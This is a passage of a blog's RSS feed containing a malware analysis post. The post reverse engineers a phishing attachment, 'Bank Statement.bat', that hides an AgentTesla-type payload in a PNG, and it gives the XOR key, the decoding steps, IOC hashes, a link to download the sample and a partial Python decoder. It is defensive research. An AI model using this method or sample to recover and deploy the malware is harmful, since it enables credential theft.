&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;outfile&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;bytearray&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;output_array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;outfile&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Decoding-W.H.O.bat-Main-Stage.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>.net</category>
            
          
            
              <category>malware</category>
            
          
            
              <category>reverse engineering</category>
            
          
            
              <category>security</category>
            
          
            
              <category>windows</category>
            
          
        
        
          
            
              <category>Malware</category>
            
          
            
              <category>Reverse Engineering</category>
            
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>Decoding Malware Payload encoded in a PNG - &#34;Bank Statement.bat&#34;</title>
        <link>https://ben.the-collective.net/posts/2020-05-27-decoding-malware-payload-encoded-in-a-png-bank-statement-bat/</link>
        <pubDate>Wed, 27 May 2020 09:00:00 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 27 May 2020 09:00:00 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2020-05-27-decoding-malware-payload-encoded-in-a-png-bank-statement-bat/</guid>
        <description>When looking through my Spam folder, I have run across a few messages with “.bat” files attached to them. Most messages have had different content in the message to entice a victim to open the attachment. I started to investigate each of the attachments and found they were Windows Binaries, and at least two had PNG files in the resources. After doing this initial triage, I wanted to see if the payload of these pieces of malware is encoded in this PNG data and how it was encoded.</description>
        <content:encoded>&lt;p&gt;When looking through my Spam folder, I have run across a few messages with “.bat” files attached to them. Most messages have had different content in the message to entice a victim to open the attachment. I started to investigate each of the attachments and found they were Windows Binaries, and at least two had PNG files in the resources. After doing this initial triage, I wanted to see if the payload of these pieces of malware is encoded in this PNG data and how it was encoded.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i2.wp.com/ben.the-collective.net/wp-content/uploads/2020/05/Screen-Shot-2020-04-21-at-19.14.08.png&#34; alt=&#34;Initial spam message and quick look at the attachment.&#34; /&gt;&lt;br /&gt;
I started with a sample named “Bank Statement.bat” with the .NET code that is the least obfuscated and will visit another sample in a later post. In this post, I will reverse engineer the .NET code and uncover the process to extract out the payload encoded in a PNG file embedded in the binary.&lt;/p&gt;
&lt;h2 id=&#34;detailed-analysis&#34;&gt;Detailed Analysis&lt;/h2&gt;
&lt;p&gt;First thing, I took a look at the properties of the attached file and determined it was a .NET compiled binary with some suspicious properties such as having a copyright field listing “Apple, Inc.” Some more of the metadata details are shown below.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Architecture:     IMAGE_FILE_MACHINE_I386
Subsystem:        IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 2020-Apr-20 14:27:35
Comments:         QuartzCore 227
CompanyName:      Apple Inc
FileDescription:  QuartzCore
FileVersion:      3.0.0.0
InternalName:     Ly2kW4nOksU0vgv.exe
LegalCopyright:   © 2020 Apple Inc. All rights reserved.
OriginalFilename: Ly2kW4nOksU0vgv.exe
ProductName:      QuartzCore
ProductVersion:   3.0.0.0
Assembly Version: 5.4.1.0

Matching compiler(s):
    Microsoft Visual C# v7.0 / Basic .NET
    Microsoft Visual C++ 8.0
    .NET executable -&amp;gt; Microsoft
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Next I ran a binwalk to see if there are is any other obvious hidden content within this file and found there is a PNG file embedded within the binary.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Microsoft executable, portable (PE)
19329         0x4B81          PNG image, 290 x 290, 8-bit/color RGBA, non-interlaced
19407         0x4BCF          Zlib compressed data, compressed
357216        0x57360         Copyright string: &amp;#34;CopyrightAttribute&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/ben.the-collective.net/wp-content/uploads/2020/05/Screen-Shot-2020-05-16-at-17.16.45.png&#34; alt=&#34;PNG file screenshot&#34; /&gt;&lt;/p&gt;
&lt;p&gt;I opened the file in &lt;em&gt;ilSpy&lt;/em&gt; and extracted the PNG file from the resources of the binary. When looking at the extracted PNG file I found visually it looks like encoded data. After seeing this image I started to investigate the original binary file to find routines used to decode the PNG file into what I assumed is the payload of the malware. I started to look at the file further in &lt;em&gt;dnSpy&lt;/em&gt; and started at the entry point of the binary.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i2.wp.com/ben.the-collective.net/wp-content/uploads/2020/05/Screen-Shot-2020-05-19-at-18.28.40.png&#34; alt=&#34;Entry point&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Starting at the entry point method and following the flow through a few more methods, finally finding the start of the decoder functionality. The method below shows the initial routines that load the decoder.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i2.wp.com/ben.the-collective.net/wp-content/uploads/2020/05/Screen-Shot-2020-04-22-at-00.24.11.png&#34; alt=&#34;encoded PNG decoder library&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The first items I noticed were the variables text and test2 are references to the PNG resource data. The next variable of note is test3 which looks like it could be a password. This method also contains a blob of encoded data (shown in the HexToString() call on line 9) that has various bytes swapped. Once the blob of data is decoded and returned to its original values then transformed into a string that is next decoded from Base64 into is DLL. The DLL when loaded is named CoreFunctions.dll.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/ben.the-collective.net/wp-content/uploads/2020/05/Screen-Shot-2020-05-16-at-17.20.49.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
After CoreFunctions.dll is loaded the method “CoreFunctions.Main” is executed. There are four parameters passed to this method, the first two references the PNG data, third what looks like a password, and finally the path to the full binary file. These are the variables I made a note of earlier. This method runs a few routines that decode the PNG data. Next, let’s walk through these method calls:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Read_R&lt;/em&gt; reads the PNG file resource into a bitmap object.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Reverse&lt;/em&gt; creates an array of each column’s BRGA (Blue, Red, Green, Alpha) color values.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;XOR_DEC&lt;/em&gt; decodes the values using XOR rotating through the key “XAdgWkK” that is XOR’ed against the last byte of the PNG data.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The image below shows the calls to these methods. They are high lighted in red by the breakpoints.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i2.wp.com/ben.the-collective.net/wp-content/uploads/2020/05/Screen-Shot-2020-04-23-at-21.28.54.png&#34; alt=&#34;&#34; /&gt;Once the PNG resource data is decoded into its executable binary data, it is loaded and executed in memory without writing any data to disk.&lt;/p&gt;
&lt;p&gt;I have written a python script (that is at the end of this post), that recreates the decoding process and takes in the export of the resource’s PNG data and the key to decodes the payload.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/ben.the-collective.net/wp-content/uploads/2020/05/Screen-Shot-2020-05-16-at-17.37.56.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Once this process is completed the decoded payload is named “ReZer0V2” in the metadata of the binary data. I have not done much analysis on the main payload yet other than executing the sample in a sandbox. The sandbox run can be viewed at the following Anyrun link:&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://app.any.run/tasks/577824dc-7d69-4551-86df-9892dc48c49e&#34;&gt;https://app.any.run/tasks/577824dc-7d69-4551-86df-9892dc48c49e&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I may do further analysis of this sample however this appears to be a few posts out there about this payload:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/&#34;&gt;New AgentTesla variant steals WiFi credentials&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;https://gbhackers.com/new-agenttesla-malware/&#34;&gt;Hackers Stealing WiFi Password Using New AgentTesla Malware&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;https://securityaffairs.co/wordpress/100147/cyber-crime/who-coronavirus-themed-attack.html&#34;&gt;New Coronavirus-themed attack uses fake WHO chief emails&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;wrap-up&#34;&gt;Wrap up&lt;/h2&gt;
&lt;p&gt;I found this an interesting sample to dissect and understand the method used to encode the PNG data and in the future to see if it can be used to decode a second sample I have with a similarly encoded PNG file. The follow-up post about that sample “W.H.O.bat” will be posted up soon. A theory I have about this sample is that it was sent out prematurely and was not fully obfuscated nor was the phishing content of the message fully completed for the campaign, however, it is just a guess.&lt;/p&gt;
&lt;h2 id=&#34;sample-download&#34;&gt;Sample Download&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://malshare.com/sample.php?action=detail&amp;amp;hash=09cc3eff1d2d8503722bb195ec45d885&#34;&gt;https://malshare.com/sample.php?action=detail&amp;amp;hash=09cc3eff1d2d8503722bb195ec45d885&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;iocs&#34;&gt;IOCs&lt;/h2&gt;
&lt;p&gt;SHA256: 9253368d34d7342b7c40c42d2df8a862b55bff9e197b92c18a8cdf46a3279c37&lt;br /&gt;
SHA1: 9e104d7c818df8e3c47609852580e3f94eb6be53&lt;br /&gt;
MD5: 09cc3eff1d2d8503722bb195ec45d885&lt;/p&gt;
&lt;h2 id=&#34;decoding-script&#34;&gt;Decoding Script&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;  1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;  9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 25
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 26
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 27
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 28
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 29
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 30
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 31
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 32
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 33
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 34
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 35
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 36
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 37
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 38
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 39
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 40
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 41
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 42
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 43
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 44
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 45
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 46
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 47
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 48
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 49
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 50
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 51
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 52
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 53
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 54
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 55
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 56
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 57
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 58
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 59
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 60
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 61
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 62
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 63
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 64
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 65
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 66
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 67
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 68
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 69
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 70
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 71
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 72
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 73
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 74
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 75
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 76
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 77
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 78
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 79
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 80
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 81
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 82
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 83
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 84
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 85
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 86
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 87
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 88
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 89
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 90
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 91
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 92
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 93
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 94
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 95
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 96
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 97
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 98
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 99
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;100
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;101
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;102
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;103
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;104
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;105
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;106
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;107
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;108
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;109
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;110
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;111
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;112
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;113
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;png&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;struct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;print_list&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;thelist&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;quantity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;quantity&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;quantity&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;thelist&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;#print (&amp;#34;Decimal: &amp;#34;, end=&amp;#34;&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;#for i in range(0, quantity):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;#	print (thelist[i], &amp;#34;, &amp;#34;, end=&amp;#34;&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;#print (&amp;#34;&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Hex: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;end&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;quantity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;hex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;thelist&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]),&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;, &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;end&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;ASCII: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;end&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;quantity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;chr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;thelist&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]),&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;, &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;end&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;############&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;filename&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;79fb5.bmp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 0x0 , 0x58 , 0x0 , 0x41 , 0x0 , 0x64 , 0x0 , 0x67 , 0x0 , 0x57 , 0x0 , 0x6b , 0x0 , 0x4b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;plain_key&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;XAdgWkK&amp;#34;&lt;/span&gt;
